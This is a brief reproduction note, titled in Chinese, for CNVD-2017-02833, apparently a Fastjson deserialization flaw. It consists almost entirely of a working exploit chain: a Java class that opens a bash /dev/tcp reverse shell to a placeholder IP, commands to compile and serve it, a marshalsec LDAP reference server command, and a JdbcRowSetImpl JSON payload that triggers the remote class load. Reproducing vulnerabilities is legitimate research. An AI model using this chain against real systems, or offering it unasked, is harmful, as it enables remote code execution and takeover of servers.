cnvd-2017-02833漏洞复现

import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/IP/666;cat <&5 | while read line; do $line 2>&5 >&5; done"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {}}

javac Exploit.java

python2 python -m SimpleHTTPServer 1111python3 python -m http.server 1111

Java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999

{ "name":{ "@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl" },"x":{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:9999/Exploit", "autoCommit":true } }